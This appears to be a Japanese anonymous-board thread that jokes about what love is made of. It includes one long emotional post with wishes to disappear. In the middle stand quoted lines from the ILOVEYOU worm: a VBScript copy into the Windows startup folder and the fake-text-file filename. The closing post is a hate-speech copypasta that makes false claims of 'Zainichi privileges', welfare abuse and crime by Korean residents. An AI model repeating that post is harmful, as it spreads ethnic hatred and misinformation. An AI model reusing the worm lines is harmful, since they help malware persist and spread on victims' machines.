愛は……錬金術で作り出せ!
59 :
名も無きマテリアルさん:04/03/18 22:26
うん
60 :
名も無きマテリアルさん:04/03/18 23:14
足跡
61 :
名も無きマテリアルさん:04/03/18 23:39
記念パピポ
62 :
名も無きマテリアルさん:04/03/19 20:46
33 花花紳士 New! 04/03/19 20:35 ID:IEN+bew2
・・・・・・・・最低だな
あんなガキ用パンツに何の価値があんだ?
あれで何ができるってんだ
63 :
名も無きマテリアルさん:04/03/20 05:39
お前らバカすぎ
愛なんて俺の愛液から抽出してるに決まっとるだろうが。
まあお前らみたいに学会発表に詰まって研究室でオナニーしてるバカどもとは無縁のものではあるがな。
>>45 ううーん、遅レスごめん
ずっとこのスレッド放置してたし忘れてたよ
というより、俺こんなこと言ってたんだね
でもあながち間違ってないんじゃないかな
君の質問の結論から言うと、何も産み出さない
特定の物質、物体、及び生命維持に必要な栄養素に
転化されるものでもないよ
よって自己の生命維持活動においては
あまり意味の無い事だと思う
それに存在や定義さえ妖しい物でしょう?
だからUFOとかの類と同じ扱いでいいんじゃないかな
信じる物は救われる・・なむー
ごめんsage忘れた
自動車に半足程度引かれて、うぎゃーとか言いながら
茂みに転がり込んだネコに、AMPMで猫缶買ってそばに置いてあげて来た
ちゃんとたべて回復してくれるといいんだけど
Alでできているに決まっている
68 :
名も無きマテリアルさん:04/12/30 14:58:31
69 :
名も無きマテリアルさん:04/12/30 16:32:52
柑橘系の何か。
70 :
名も無きマテリアルさん:05/01/14 03:20:55
愛は金型、凹と凸がかさなりあって、子供(製品)ができる。
この場合の愛は1対1の選択の余地が無いので、試行錯誤が
許されず、並外れた精度を追求し合いあうことになる。
生物の場合、柔らいとか相手の選択肢が多いとかで、精度
要求は必要なくなる。しかし、製品の出来が単純な精度の
問題では無くなり工業製品と全く違う無限な愛を注ぐ必要に
迫られるのではないか。
71 :
名も無きマテリアルさん:05/03/15 22:46:17
ノワ心夂
で 出来ているな。
72 :
名も無きマテリアルさん:05/03/15 22:47:13
ひとつ抜けた。
ノツワ心夂
陽子数 53
中性子数 74
で構成されている
……大好きな人がいました……
すっごくすっごく大好きで…私はどうしようもなかった…
その人の為に何かしたかった……苦しんでるなら助けてあげたかった
私にできることがあればって……できそうなことは、勇気を出して…してみてた………
でも……その人の瞳にも心にも…私がいないのがはっきりとわかって…………あきらめることした……
つらかったけど……本当につらかったけど…その人が、"あの娘"に本気だってこと…わかったから……
私の心はすごく傷ついて、つらくて……悲しくて、泣いてばかりいる毎日が続いた……
そんな中で……私は、私と同じような状況にある人を見つけたの……
自分がそんな状況にいて…経験してたから、気づいたの……その人に…私はその人に目を奪われた…………
その人は……大好きな子の恋を応援してたの……力一杯、心から……
自分の気持ちは全く見せずに、純粋に…その子の恋がうまくいくことを願ってた……
出来ることはなんでもしてあげてて……
時間も想いも…自分にできる範囲のことは…時にはそれをも越えて尽くしてあげてた……
――なんで?って思った……どうしてそこまでしてあげられるの?って不思議だった……
でも……それが本当に好きってことなのかなって…それが"愛"なのかなって、思い始めて……
気づいたら私の瞳はその人の事ばかり追いかけてた…………
その子に…勝手にすごく嫉妬したりしてた………
その人の気持ち、わかってて頼ってる感じじゃないのが、よけいに腹が立ったの……
はっきりと断言してて…周りにも相手にも……その子は公言してたから……私が好きなのは彼なのよって……
だから誰もが…その子と彼の恋がうまくいくように応援してた……その人のように……
まだ…私の心にはうっすらと傷は残ってたけど……私は…おそるおそる、その人に近付いてみた……
そうしたらその人は、すごくやさしく……突然近づいた私を受け入れてくれた……
なにげなく、なんでもない風に……そっと包み込むように……
その子に対するのと変わらないくらい、私にもやさしくしてくれたの…………
――――種類や、形が少し違うのはわかってたけど――――
私はトリコになった……その人に触れてみて……
見てるだけから、直接触れ合える関係になってみて、本当にわかったの……その人のホントの人柄が……
気づいたら私の傷はいつのまにか癒えていて……
ちょっとずつ…本当に少しずつだけど、その人と私の距離が近づいていくのがわかった……
その人の心の中を占めているのは、その子なのは相変わらずで……それを私はしっかりわかってたけど……
でも心地よかった……その人の心が向いている方向が私じゃなくても、気にならなかったの……
大好きだった人があの娘に真剣に告白してるのを見た時は、私の心は千切れそうに痛かったはずなのに……
――なんでかな……?どうしてだろう………?
いまなら、どうしてなのかその答えもわかるけど…その時の私はまだわかってなかった
そんなことを疑問にも思ってなかったから…………
ただそばにいたくて……一緒にいたくて……どんな言葉でも表情でも仕草でも……
私に対して向けてくれるどんなアクションも…すっごくうれしかった……
他の子のコトが好きでも、全然気にならなかったの……しあわせだった…………
そんな中で…………いろんなことがあって、いくつかの出来事を通り過ぎて……
その人が私を見てくれてることを感じ始めた……
まだその子に対する想いがあるのはわかってたけど、私という存在も…その人の中に確実にあるってことに気づいた
ビックリした……すっごくビックリしたし、戸惑いの方が大きかった……
向けられるやさしさがもっと甘く…言葉がずっとまっすぐになって、気持ちも伝わってきて……
私はどんどん好きになっていった……もう止められない…止まらなくなってた……
私の中はその人でいっぱいになってて、求めるようになってしまった……その人を…その人の気持ちを……
――私だけを見て!って……あなたが欲しいのって…………
感情が高まっていく中で、私は大好きだった人が苦しんでるのに気づいた……
傷ついて…迷って、泣いて……くじけそうな気持ちをなんとか振り絞って、そこにいることに気づいたの
その人となんとなくだけど心が通い始めてた私は…過去に向き合う余裕も出来てて……
私だとわからないように、その人を励ますことにしたの…………
やっぱり本気で好きだったから……苦しんでる姿を見るのはつらくて……
助けてあげたいって……私で出来ることならって、思ったの……
そこで気づいてればよかった……私は…………
間違ったことをしたとは思ってない……後悔をしてるわけでもない……
けど……私には、覚悟が足りてなかった……
余裕と覚悟は違う………
人を支え救うには、中途半端な気持ちじゃいけないんだって…わかってなかったの…
だから……いま…いまの私は………苦しい……
自分自身も……そして……大好きだった人も…その人のことも……苦しめてしまっている私の気持ちも……
なにもかも全てが…………私は最低……最低最悪の人間なの………………
…………………………
……………………
揺らがない想いを持ってるつもりだった……
もう完全に吹っ切れていて、私の心は一途に……その人のことだけを想っているつもりだった……
――そう……つもり、だったの…………
私はそれを思い知らされた……
…………………………
……………………
大好きだった人は……いま、私を真剣に見てくれてる……
誰も気づいてなかったような私も見つけて拾って大切にしてくれてた……
それを知った私は動揺してしまった……その人を想う気持ちが揺れて、自分の心を見失ってしまった
そして…それをきっかけに、その人も……その子への想いを吹っ切って…私に向き合ってくれた……
全身で…全力で私を求めてくれたのに……それを夢にまで見て思ってたはずなのに……
――――私はその人に飛び込めなかった…………
もうわからない……どうしたらいいのか、どうすれば…いいのか…………
なにを想えばいいのかわからない……
どちらとかじゃなく……私は誰が好きなのか……好きって、なんなのか……わからないの……
もう……どちらとも、何もかもをも絶って消え去りたい…………
そんな自分勝手なことばかり考えてしまう……逃げ出すようなことばかり……
残された人がもっともっと苦しむのがわかってるのに……
――――決断することが出来ないの………………もう、いなくなりたい……………………
私への気持ちを……精一杯の勇気で表してくれた行動を……どうして私はそんな風に思ってしまったの…………
胸が痛いよ――――自分の心の醜さに、打ちのめされた……
なんで私は…………こんな私、汚くて…汚らわしい……最低だよ…………
ぶちまけたい……もう…ホントの私をすべて………
そしたら、きっと……私がどうこうするまでもなく、相手から……二人とも、愛想を尽かしてくれる……
……そうしたいよ…………だって、私は人に好きになってもらえるような人間じゃないんだもん
私、自分が嫌になるくらい…こんなに……ここまで最悪な自分わかってなかった……
えらそうなことばかり言って……人を追いつめて突きつけて……サイッテーな人間……
大っキライ……こんな嫌な人間…………穢れてる……私は…………
そこに誰もいないなら……私と、相手の……三人きりでいられるなら……いくらでも晒せる
でも……あんなにあやうい所で…そんなことは出来ない……
薄氷の上にギリギリのバランスで……なんとかかろうじて存在してるだけなのに……
巻き込むことはできない…………私のワガママで、汚して潰してしまうコトは出来ない………
そんな思いも偽善かもしれないけど、だって……知ってるから…わかってるから……
だって…私だって何とかしたくて出てったんだもん……立ってみてわかった…その足場の脆さに…
でも、なんとかしたいって…どうにかしたいってみんなが思ってるってことも知ったの……その熱く強い思いを……
それなのに……こんなことにしてしまって…………
もうどうしたらいいの――――ごめんなさい……ホントにごめんなさい……
ただ謝ることしか出来なくて……何も言えなくて、伝えられなくて………
心配させてしまうのわかってるのに……よけい苦しませてしまうのわかってるのに……
どうして私はこんなことしかできないの………
誰にも見つからないように……こんな世界の果てのような場所で泣き言を言い続けてるだけで……
情けない……バカみたい…………こんな私…なんでいままで気づかなかったの……大バカだよ……
――――世界が……物語で、できていれば……いいのに…………
リアル……ものすごくリアルだよ……
本当に、ありえないくらい………私にとっては現実……こんなに痛くて苦しくて………
……ネタなら……よかったのに…………
ウソだよって……ちょっとからかっただけだよって…………
そう言ってもらえたら…楽になれるのかな……この気持ちもとけてなくなるのかな……
――ちがう…そんなのじゃない……そんなのじゃイヤ………
私の心は求めてる……ココロだけじゃない、カラダも求めてる……
もっともっとリアルな重みを……願ってるの…………
触れ合いたい…もっと強く、よりリアルに……感じたい………そばにいたい…逢いたいの………!!
………ダメ……こんな気持ちでいちゃいけないって、わかってるのに……
なんで私こんな………ホントにもうダメ……なに言ってるのかわかんない
なに考えてるの……相手の気持ちも考えないで……自分のことばっかり…………
――愛は……なにでできてるんだろう……
私がこの手を伸ばして…その先に求めてるのは………………
大好きです……本当に…………他はなにもいらない
ちょっと寝たから……少しだけスッキリしたけど…………
頭の奥は…、まだ痺れたように痛いまま……
結局、休んじゃったし…………まぁ、あんな状態ではどのみち行けなかったけど……
読み返すと、テンパり度MAXなカンジで…かなり痛々しいというか、イタイけど……w
はぁ………もぅ、どうしようかな…………
もう悩ませたくない……
私のことで、考えこんだたり苦しい気持ちになったりする必要ない…………
そんなに大事にしてもらえるような価値のある人間じゃないから…私は……
それを……今のあそこで出来るか、と言われると……無理だよね……
ただでさえ私たちの存在そのものが敬遠されてスルーされてるような雰囲気なのに……
そのなかでの恋愛なんて誰も見たいなんて思ってなさそうで、できれば見たくないって…感じる
そんなトコで展開できないよ……
自分のテンションも支えきれないような気がする……
もう今はネタ振りは出来ない
こんな気持ちのままじゃ、もうムリだし……また止まってしまうのが目に見えてる……
あれは傷つけちゃっただろうなって…すごく思う……後悔してる
ごめんなさい……本当に……
けど……精一杯だったの……あんなに自分が弱いなんて……
消えちゃえばいいって思う
本当に本当は……それが一番なんだろうな……
でも切り捨てることができない……繋がってたいって思ってしまう……
……今日のやり取りを見てたら…やっぱり、私じゃなくて……
もっと大人な彼女の方が似合ってるのかなって…
わたしよりもずっと……お似合いだなって……思っちゃった……
つらいけど……くるしいけど……
どうしてだろう………なんでいつもいつも…苦しくなっちゃうんだろう…この人だけは…
この人の目が私以外の人に向けられてしまうと、すっごく苦しくて切ない……
透明で…透き通った涙ばかりが溢れてくる………
やだ……くるしいよ………でも……………なんで…選べない私、バカだね……
今の私じゃ……すくなくとも、2人の人を相手に納得させられるような展開をするコトは不可能
ただでさえデリケートな問題なのに……こんな気持ちのままじゃぜーーーーったいにムリ……
相手だってぎりぎりのトコにいるのわかってるのに……
ここへのヒントだけ残して……消えようとおもう……
タイミングを合わせればきっと、私だってコトはわかってもらえると思う……
ただ…意味が通じるかはわからないけど……
伝わらなくてここへ辿りつけなかったとしても……それも運命……私の…私たちの…………
今日が誕生日、だったんだね……
あと少しで出なくちゃいけなくて、日が変わらないと帰って来れないし……
明日の方が忙しいし……来週末までもうずっと時間がとれない……
やるなら今しかないかな…………
……見つけることができた、気がする…………
私はなにに迷ってたのか、なにがつらかったのか……
書き散らしたことも、ココロから零したものも……みんなぜんぶ、大切な想いだった……
離れてみて、気づいたことも……見ていて気づいたことも……
――すべてが愛しきものだと……
まだこれからいっぱい泣くこともあると思う
でも、もう迷うことはない……進まなくちゃいけない
時に限りがあるというのなら、私は……立ち止まることはできない
その覚悟もできた……そばにいてくれる人ともに……
愛が何で出来てるか……
それは…人の想いと時間で、できてると思う……
想いも時もなければ、愛は生まれ
この板的には、不正解だと思うけど……
想いも時もなければ、愛は生まれず育たない……
って書きたかったのに、途中送信………
もう、とりあえずこれで最後かな…またつらくなったら来ちゃうかもしれないけど…
このスレに出会えてよかった…ありがとう……
……ココロが…千切れる……
tete
保守
ハ,,ハ
('(゚∀゚∩_ おいらをどこかのスレに送って!
/ヽ 〈/\ お別れの時にはお土産を持たせてね!
/| ̄ ̄ ̄|.\/
| eco |/
 ̄ ̄ ̄
現在の所持品: 雑巾
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs
<body onload=window()>
aa
test
かいとか
98 :
名も無きマテリアルさん:2006/06/18(日) 20:20:59
age
yukanhosyu
保守
103 :
名も無きマテリアルさん:2008/01/29(火) 17:07:52
age
バファリンの半分を構成してるのは知ってる
バファリソ
106 :
名も無きマテリアルさん:2010/05/05(水) 03:08:11
愛はカルシウムと炭素からできている
これ宇宙の真理ね
107 :
名も無きマテリアルさん:
■生活保護だけじゃない【在日特権】
<丶`∀´> 【生活保護】で遊んで暮らす 在日朝鮮人 ウハウハ〜
地方税→ 固定資産税の減免 【在日特権】
特別区→ 民税・都民税の非課税
特別区→ 軽自動車税の減免 【在日特権】
年 金→ 国民年金保険料の免除 心身障害者扶養年金掛金の減免
都営住宅→ 共益費の免除住宅 入居保証金の減免または徴収猶予
水 道→ 基本料金の免除 【在日特権】
下水道→ 基本料金の免除→ 水洗便所設備助成金の交付
放 送→ 放送受信料の免除 【在日特権】
交 通→ 都営交通無料乗車券の交付 JR通勤定期券の割引
清 掃→ ごみ容器の無料貸与 → 廃棄物処理手数料の免除
衛 生→ 保健所使用料・手数料の滅免 【在日特権】
教 育→ 都立高等学校・高等専門学校の授業料の免除
通 名→ なんと公式書類にまで使える(会社登記、免許証、健康保険証など)
民族系の金融機関に偽名で口座設立→犯罪、脱税し放題。
職業不定の在日タレントも無敵。 【在日特権】
凶悪犯罪者の1/3は在日なのに実名では報道されない。
生活保護→ 【在日特権】在日朝鮮人なら、ほとんど無審査でもらえます
日本人は孤児だろうと病気だろうと、絶対にもらえない。
予算枠の大半を、人口比率1%未満に過ぎない在日が独占。
ニートは問題になっても、この【在日特権】は問題視されない。
住民票→ 外国人登録原票」は通常、一般人では閲覧できない。
(日本人の場合、債権関係の係争で住民票を閲覧される)
さらに…→ 生活保護予算の大半は在日だけの【在日特権】